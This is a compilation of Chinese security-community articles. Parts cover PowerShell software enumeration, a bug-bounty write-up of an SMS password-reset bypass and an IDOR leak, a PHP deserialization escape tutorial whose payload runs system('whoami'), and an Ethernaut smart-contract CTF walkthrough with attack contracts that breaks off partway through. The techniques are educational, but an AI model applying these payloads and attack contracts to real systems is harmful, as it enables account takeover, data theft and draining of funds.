$osname = ($os.Name).Split("|") | Select-Object -First 1
foreach($installed in $software){
$props = [ordered] @{
'ComputerName' = $os.PSComputerName;
'OperatingSystem' = $osname;
'Archtecture' = $os.OSArchitecture;
'Name' = $installed.Name;
'Version' = $installed.Version;
'Vendor' = $installed.Vendor;
'IdentifyingNumber' = $installed.IdentifyingNumber}
$obj = New-Object -TypeName psobject -Property $props
Write-Output $obj
}
}
}
END{
}
}
本来还想找找其他工具的，又懒得找了，自动化方便是一回事，必然会带来弊端。动静大，易查杀等。脚本小子终究只是一时爽。最后还是要自己走安全开发自己写工具，在特定的环境下能实现功能才行。就难得总结工具了，多培养培养思维多学习学习底层还是长久之道。
这篇文章只是抛砖引玉给大家提供一个思路，还有很多东西没用收到。但是信息收集和漏洞利用总是相依相存的。比如委派，邮服这些。或者是需要一些漏洞利用链的时候。扩大自己的攻击技术和攻击面，了解新的攻击方式应该是最重要的，可能一条路不同我换了一种攻击方式，搜集一下需要实现的前置条件都满足，自然也就打下来了。随机应变。有些工具是之前收集的说实话都没有用上过，所以工具在精在顺手不在多。选择合适自己的才最重要。 | 社区文章 |
某个无聊的夜晚，本菜鸡打开补天专属厂商列表，准备挖一波漏洞补贴家用。打开某专属厂商，看了下收集的域名范围，使用OneForAll进行了一波子域名收集，打开了某个子域名进行了一波漏洞挖掘。
打开域名发现是一个登录页面，登录口无验证码，于是拿出字典进行了一波爆破，可惜没有爆出任何有用的账号密码，只获得几个用户名，如test、lc等。再次浏览页面，发现了此处的忘记密码功能，从此打开了一波新天地。
**漏洞一 任意密码重置**
此处没存图，大概表述一下，忘记密码功能处需要填入手机号，然后发送验证码，输入正确验证码后进入下一步进行密码重置操作。首先，我们没有此系统用户的手机号，尝试输入上述爆破获得的用户名发送验证码，无法发送；尝试输入自己的手机号，无法发送。
我们需要此系统用户的手机号，我当时想到了三个办法：1）通过github等搜集用户泄露的手机号；2）强行爆破；3）猜测系统中有测试用的手机号，如13333333333、13888888888等等。幸运的是，此处通过手机号13333333333成功发送短信验证码，说明系统中存在此手机号。查看我们发送短信验证码的数据包，其中有个参数length引起了我的注意，length的值为6，猜测是短信验证码的长度，将length改为1，再次发送。
根据上一步推测，短信验证码长度是由length参数控制的，接下来我们可以通过依次尝试输入0-9来猜测短信验证码，当我们输入0的时候成功进入重置密码页面，输入新密码成功修改。
**漏洞二 越权**
输入上一步重置后的账号密码成功进入用户后台页面，找到客户列表功能，发现此账号没有任何的客户信息
查看数据包，发现owner参数的值指的是当前用户的id值，尝试将id值改为上述获得的test、lc等等，依然没获取任何数据；接下来尝试将owner参数置空，成功获取到了20w条客户数据 | 社区文章 |
# PHP 反序列化字符逃逸
* 下述所有测试均在 php 7.1.13 nts 下完成
* 先说几个特性，PHP 在反序列化时， **对类中不存在的属性也会进行反序列化**
* PHP 在反序列化时，底层代码是以 `;` 作为字段的分隔，以 `}` 作为结尾(字符串除外)，并且是根据长度判断内容的
* 比如：在一个正常的反序列化的代码输入 `a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}` ，会得到如下结果
* 如果换成 `a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";` 仍然是上面的结果，但是如果修改它的长度，比如换成 `a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}` 就会报错
* 这里给个例子，将 `x` 替换为 `yy` ，如何去修改密码？
<?php
function filter($string){
return str_replace('x','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
var_dump(serialize($user));
echo '\n';
$r = filter(serialize($user));
var_dump($r);
echo '\n';
var_dump(unserialize($r));
* 正常情况下的序列化结果为 `a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}`
* 那如果把 `username` 换成 `peri0dxxx` ，其处理后的序列化结果为 `a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}` ，这个时候肯定会反序列化失败的
* 可以看到 `s:9:"peri0dyyyyyy"` 比以前多了 3 个字符
* 回到前面， `a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}` 想一下，它在进行修改密码之后就变为 `a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}`
* 可以看到需要添加的字符串 `";i:1;s:6:"123456";}` 长度为 `20`
* 假设要在 `peri0d` 后面填充 `4` 个字符，那么就是 `s:30:'peri0dxxxx";i:1;s:6:"123456";}';` 在经过处理之后就是 `s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';` 读取 `30` 个字符为 `peri0dyyyyyyyy";i:1;s:6:"12345`
* 这就需要继续增加填充字符，在有 `20` 个 `x` 时，就实现了密码的修改
* 可以看到，这和 `username` 前面的 `peri0d` 是 **毫无关系** 的， **只和做替换的字符串有关**
# 看一看 Joomla 的逃逸
* 看到有人写了简易版的 Joomla 处理反序列化的机制，修改之后代码如下:
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
* 详细的代码逻辑不再阐述，它这里就是先将 `chr(0).'*'.chr(0)` 这 `3` 个字符替换为 `\0\0\0` 这 `6` 个字符，然后再反过来
* 我们这里最终的目的是实现任意的对象注入
* 正常来说，这个序列化结果为 `O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";}` ，我这里的目的是要把 `password` 的字段替换为我的 `payload` 即 `s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}`
* 那么可以想一下，一种可能的结果就是 `O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}`
* 如果不清楚这个序列化怎么得到的，可以做一个反向的尝试，因为这是已经知道了要进行对象注入，可以在 `User` 中多加一个 `$ts`
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
* 这个序列化结果中，`";s:8:"password";s:4:"1234` 长度为 `26` ，加上 `peri0d` 的 `6` 就是 `32` 了，这样就覆盖了 `password` 及其值，再将前面的属性改为 `2` 就符合原来的源码含义了，而且它是可以成功反序列化的
* 接下来就是如何构造 `O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}` ，很明显要利用前面的替换使 `peri0d` 扩增来覆盖 `password` ，然后将 `payload` 作为 `password` 的值输入，以达到 `payload` 注入
* 先修改 `username="peri0d\\0\\0\\0"` 和 `$password = "123456".$payload` 得到序列化结果为 `O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}`
* 发现有问题，修改 `$password = '123456";'.$payload."}"`
* 就得到了符合规范的序列化结果 `O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}`
* 这个肯定反序列化不了，这里就想一下，如果可以反序列化，结果如下，用 `N` 代表 `NULL` : `O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}`
* 这就会多出来 `3` 个字符，这里一定是按照 `3` 的倍数进行字符增加的，而 `";s:8:"password";s:56:"123456` 长度为 `29` ，这就需要进行增加或减少，从而去凑 `3` 的倍数，这里选择减少，使 `password` 为 `1234` 则长度为 `27` ，即需要 `9` 组 `\0\0\0`
* 最终的 payload :
<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
* 结果：
# 参考链接
* <https://www.freebuf.com/vuls/216512.html(你抄人家代码>)
* <https://www.cnblogs.com/magic-zero/p/11643916.html> | 社区文章 |
# Zeppelin Ethernaut writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Ethernaut 是 Zeppelin 提供的一个基于 Web3 和 Solidity 的智能合约审计训练平台，目前收录了 15
道题目，复现了智能合约中可能出现的各种安全问题。
<https://ethernaut.zeppelin.solutions>
## 0\. Hello Ethernaut
签到关，同时也是新手教程。
首先要装 MetaMask 浏览器插件，切换到 Ropsten test network，创建账号，点击
BUY，给自己打点钱先。由于是测试网络，所以随便白嫖。
打开 console，跟着教程试几个命令，确认无误后就可以愉快的做题了。
第一关主要是熟悉操作，跟着提示调用函数即可。
contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')
// done
提交答案后可以看到源码。
## 1\. Fallback
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
通关条件
* 成为合约的 owner
* 清零 balance
合约构造函数 `Fallback()` 中初始化拥有者贡献度为 1000 ether。
我们可以通过转钱提升贡献度，当贡献度超过 1000 ether 即可成为合约 owner。
但在 `contribute()` 中限制了每次只能转小于 0.001 ether 的钱。很明显，此路不通。
然而成为 owner 还有另一种方式，注意到合约的 fallback 函数，即最下的无名函数。当合约账户收到一笔转账时会自动调用 fallback
函数。在这里，只要转账金额大于0，并且贡献大于0，即可成为 owner。
调用 `help()` 函数，了解下如何进行转钱操作。还需要注意一下 Wei 和 Ether 的转换。
contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()
## 2\. Fallout
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
通关条件
* 成为合约的 owner
一个很简单的合约，其中改变 owner 的只有 `Fal1out()` 函数，但这是个构造函数，要怎么调用呢。
想了好久好久… 然后发现这根本不是构造函数，其中一个是 `l` 和 `1`，长得太像了…
无良出题人甚至还给了个注释来强调一下这个假构造函数的身份，太过分了。
所以直接转钱调用就好了。
contract.Fal1out({value: 1})
## 3\. Coin Flip
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通关条件
* 连续猜对 10 次
`FACTOR` 为 2^255，`coinFlip` 结果只会为 1 或 0
相当于一个猜硬币正反面的游戏
这是经典的区块链伪随机数的问题。
在以太坊智能合约中编写的基于随机数的处理逻辑是十分危险的，因为区块链上的数据是公开的，所有人都可以看见，利用公开的数据来生成随机数是不明智的。
此外，像 `timestamps` 这样矿工可控的数据也不宜作为种子。
在这道题中，出题人利用 `block.blockhash(block.number-1)`
来生成随机数，这是可预测的。我们可以部署一个新的合约，先进行随机数的预测，再进行竞猜。
部署合约： <http://remix.ethereum.org>
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Attack {
CoinFlip fliphack;
address instance_address = instance_address_here;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function Attack() {
fliphack = CoinFlip(instance_address);
}
function predict() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = predict();
fliphack.flip(guess);
}
}
只需调用 10 次 `hack()` 函数即可。
## 4\. Telephone
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
通关条件
* 成为合约的 owner
代码很短，这里的考点是 `tx.origin` 和 `msg.sender` 的区别。
* `tx.origin` 是交易的发送方。
* `msg.sender` 是消息的发送方。
用户通过另一个合约 Attack 来调用目标合约中的 `changeOwner()`
此时，`tx.origin` 为 用户，`msg.sender` 为 Attack，即可绕过条件，成为 owner
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Attack {
address instance_address = instance_address_here;
Telephone target = Telephone(instance_address);
function hack() public {
target.changeOwner(msg.sender);
}
}
部署合约，调用 `hack()` 函数即可。
## 5\. Token
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
经典的整数溢出问题
在 `transfer()` 函数第一行 `require` 里，这里的 `balances` 和 `value` 都是 uint。此时
`balances` 为 20，令 `value` = 21，产生下溢，从而绕过验证，并转出一笔很大的金额。
contract.transfer(player_address, 21)
为了防止整数溢出，应该使用 `require(balances[msg.sender] >= _value)`
或是使用 OpenZeppelin 维护的 SafeMath 库来处理算术逻辑。
## 6\. Delegation
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
考点在于 Solidity 中支持两种底层调用方式 `call` 和 `delegatecall`
* `call` 外部调用时，上下文是外部合约
* `delegatecall` 外部调用时，上下文是调用合约
在本题中，`Delegation` 合约中的 `delegatecall` 函数参数可控，导致可以在合约内部执行任意函数，只需调用 `Delegate`
合约中的 `pwn` 函数，即可将 owner 变成自己。
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});
## 7\. Force
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/_/ /
____/ o o
/~____ =ø= /
(______)__m_m)
*/}
刚看到这个合约是一脸懵逼的。
回头看了下题目要求：使合约 balance 大于 0
然而这个空合约并没有任何地方可以收钱
这里用到智能合约的一个 trick，当一个合约调用 `selfdestruct` 函数，也就是自毁时，可以将所有存款发给另一个合约，并且强制对方收下。
所有只需要再部署一个合约，打一点钱，然后自毁，把剩余金额留给目标合约。
pragma solidity ^0.4.18;
contract Attack {
address instance_address = instance_address_here;
function Attack() payable{}
function hack() public {
selfdestruct(instance_address);
}
}
调用 `hack()`函数，然后当场去世。
可以看到，Attack 合约在自毁的时候，将余额 1 wei 转给了 Force 合约。
## 8\. Vault
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
通关条件
* 使 `locked = false`
合约逻辑很简单，需要知道 `password` 来解锁合约，而 `password` 属性设置了 `private`，无法被其他合约直接访问。
解决该问题的关键点在于，这是一个部署在区块链上的智能合约，而区块链上的所有信息都是公开的。
可以用 `getStorageAt` 函数来访问合约里变量的值。合约里一共两个变量，`password` 第二个声明，position 为
1。翻一下文档，`getStorageAt` 函数需要带上回调函数，可以选择直接把返回结果 alert 出来。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
// A very strong secret password :)
contract.unlock('A very strong secret password :)')
提交之后能看到，Zeppelin 给出的建议是：为确保数据私密，在将数据放入区块链之前需要对其进行加密，并且解密密钥不应该在链上发送。
## 9\. King
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
合约代码逻辑很简单，谁给的钱多谁就能成为 King，并且将前任 King 付的钱归还。当提交 instance 时，题目会重新夺回 King
的位置，需要解题者阻止其他人成为 King。
首先需要讨论一下 Solidity 中几种转币方式。
`<address>.transfer()`
* 当发送失败时会 `throw;` 回滚状态
* 只会传递部分 Gas 供调用，防止重入（reentrancy）
`<address>.send()`
* 当发送失败时会返回 false
* 只会传递部分 Gas 供调用，防止重入（reentrancy）
`<address>.call.value()()`
* 当发送失败时会返回 false
* 传递所有可用 Gas 供调用，不能有效防止重入（reentrancy）
回头再看一下代码，当我们成为 King 之后，如果有人出价比我们高，会首先把钱退回给我们，使用的是 `transfer()`。上面提到，当
`transfer()` 调用失败时会回滚状态，那么如果合约在退钱这一步骤一直调用失败的话，代码将无法继续向下运行，其他人就无法成为新的 King。
首先查看一下当前最高出价
fromWei((await contract.prize()).toNumber())
// 1 eth
部署一个新的合约，当收到转账时主动抛出错误。
pragma solidity ^0.4.18;
contract Attack {
address instance_address = instance_address_here;
function Attack() payable{}
function hack() public {
instance_address.call.value(1.1 ether)();
}
function () public {
revert();
}
}
调用 `hack()`， 成为新的 King
Submit instance 之后，仍然是 King
## 10\. Re-entrancy
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
DASP 排第一的重入漏洞，也是之前比较著名的 DAO 事件里使用到的方法
漏洞主要在于 `withdraw()` 函数，合约在进行提币时，使用 require 依次判断提币账户是否拥有相应的资产，随后使用
`msg.sender.call.value(amount)()` 来发送 Ether，处理完成后相应修改用户资产数据。
在提币的过程中，存在一个递归 withdraw 的问题（因为资产修改在转币之后），攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether
全部提出。
再复习一下 Solidity 中几种转币方式。
`<address>.transfer()`
* 当发送失败时会 `throw;` 回滚状态
* 只会传递部分 Gas 供调用，防止重入（reentrancy）
`<address>.send()`
* 当发送失败时会返回 false
* 只会传递部分 Gas 供调用，防止重入（reentrancy）
`<address>.call.value()()`
* 当发送失败时会返回 false
* 传递所有可用 Gas 供调用，不能有效防止重入（reentrancy）
使用 `msg.sender.call.value(amount)()` 传递了所有可用 Gas 供调用，也是可以成功执行递归的前提条件。
查看题目合约地址信息，可以看到在初始化时转入了 1 ether，我们需要把目标合约的余额提出到自己的合约上。
部署合约
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract Attack {
address instance_address = instance_address_here;
Reentrance target = Reentrance(instance_address);
function Attack() payable{}
function donate() public payable {
target.donate.value(msg.value)(this);
}
function hack() public {
target.withdraw(0.5 ether);
}
function get_balance() public view returns(uint) {
return target.balanceOf(this);
}
function my_eth_bal() public view returns(uint) {
return address(this).balance;
}
function ins_eth_bal() public view returns(uint) {
return instance_address.balance;
}
function () public payable {
target.withdraw(0.5 ether);
}
}
初始状态
* balance 为 0
* `Reentrance` 账户余额 1 ether
* `Attack` 账户余额 0 ether
调用 `donate()` 以攻击者合约的身份向题目地址转账 1 ether
* balance 为 1
* `Reentrance` 账户余额 2 ether
* `Attack` 账户余额 0 ether
调用 `hacker()` 赎回 0.5 ether，回调函数递归调用 `withdraw()`，触发重入漏洞
* balance 下溢
* `Reentrance` 账户余额 0 ether
* `Attack` 账户余额 2 ether
成功将题目账户中本不属于我们 1 ether 也提出。
出题人给出的建议是，使用较为安全的 `transfer()` 来进行转币操作。
## 11\. Elevator
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
通关条件
* 使 `contract.top` 为 `true`
`Building` 接口中声明了 `isLastFloor` 函数，用户可以自行编写。
在主合约中，先调用 `building.isLastFloor(_floor)` 进行 if 判断，然后将
`building.isLastFloor(_floor)` 赋值给 `top` 。要使 `top = true`，则
`building.isLastFloor(_floor)` 第一次调用需返回 `false`，第二次调用返回 `true`。
思路也很简单，设置一个初始值为 `true` 的变量，每次调用 `isLastFloor()` 函数时，将其取反再返回。
不过，题目中在声明 `isLastFloor` 函数时，赋予了其 `view` 属性，`view` 表示函数会读取合约变量，但是不会修改任何合约的状态。
回头看了下题目给的提示
* Sometimes solidity is not good at keeping promises.
* This Elevator expects to be used from a Building.
翻了下文档，找到了对 `view` 的描述：
> view functions: The compiler does not enforce yet that a view method is not
> modifying state.
函数在保证不修改状态情况下可以被声明为视图（view）的形式。但这是松散的，当前 Solidity 编译器没有强制执行视图函数（view
function）不能修改状态。
那么上述做法就是可行的了。部署合约：
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract Attack {
address instance_address = instance_address_here;
Elevator target = Elevator(instance_address);
bool public isLast = true;
function isLastFloor(uint) public returns (bool) {
isLast = ! isLast;
return isLast;
}
function hack() public {
target.goTo(1024);
}
}
调用 `hack()` 函数，成功将 `contract.top` 修改为 `true`
## 12\. Privacy
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
之前 `Vault` 题目的升级版。还是一样，用 `getStorageAt()` 把链上的数据读出来先。
web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});
// 0x00000000000000000000000000000000000000000000000000000086b2ff0a01
// 0x6be9a25967a00434c9634d02b673c5bb4a14ad1fe8f1439e41f7f926dc3a884a
// 0xcf1e2bfa2471a6cfa8edd2cab4140248f94ca74b87691f129444677be4bd9c88
// 0x06b3b79c6b707e890d7160ed7a1c16df8a16704fdd0bafcbc08e3094ab05dd40
// 0x0000000000000000000000000000000000000000000000000000000000000000
可以看到，每一个存储位是 32 个字节。根据 Solidity 优化规则，当变量所占空间小于 32
字节时，会与后面的变量共享空间，如果加上后面的变量也不超过 32 字节的话。
除去 `ID` 常量无需存储
* `bool public locked = true` 占 1 字节 -> `01`
* `uint8 private flattening = 10` 占 1 字节 -> `0a`
* `uint8 private denomination = 255` 占 1 字节 -> `ff`
* `uint16 private awkwardness = uint16(now)` 占 2 字节 -> `86b2`
刚好对应了第一个存储位的 `86b2ff0a01`
解题需要的 `data[2]` 则应该在第四存储位
`0x06b3b79c6b707e890d7160ed7a1c16df8a16704fdd0bafcbc08e3094ab05dd40`
注意到这里有一个 `bytes32` 转换为 `bytes16`，在 Remix-ide 上做一个简单测试。
所以只需要取前 16 字节即可
## 13\. Gatekeeper One
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
需要满足 3 个 modifier 的条件。
`gateOne()` 利用之前做过的 Telephone 的知识，从第三方合约来调用 `enter()` 即可满足条件。
`gateTwo()` 需要满足 `msg.gas % 8191 == 0`
`msg.gas` 文档里的描述是 `remaining gas`，在 Javascript VM 环境下进行 Debug，在 Step detail
栏中可以看到这个变量。
同时，在调用 `enter()` 函数的时候，可以选择更加底层的 `call` 来更方便控制传递的 gas 数量。通过 debug 找到一个符合要求的
gas 数量 41170。
`gateThree()` 也比较简单，将 `tx.origin` 倒数三四字节换成 0000 即可。
`bytes8(tx.origin) & 0xFFFFFFFF0000FFFF` 即可满足条件。
部署合约
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract Attack {
address instance_address = instance_address_here;
bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;
GatekeeperOne target = GatekeeperOne(instance_address);
function hack() public {
target.call.gas(41170)(bytes4(keccak256("enter(bytes8)")), _gateKey);
}
}
调用 `hack()` 函数，完成攻击。
## 14\. Gatekeeper Two
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
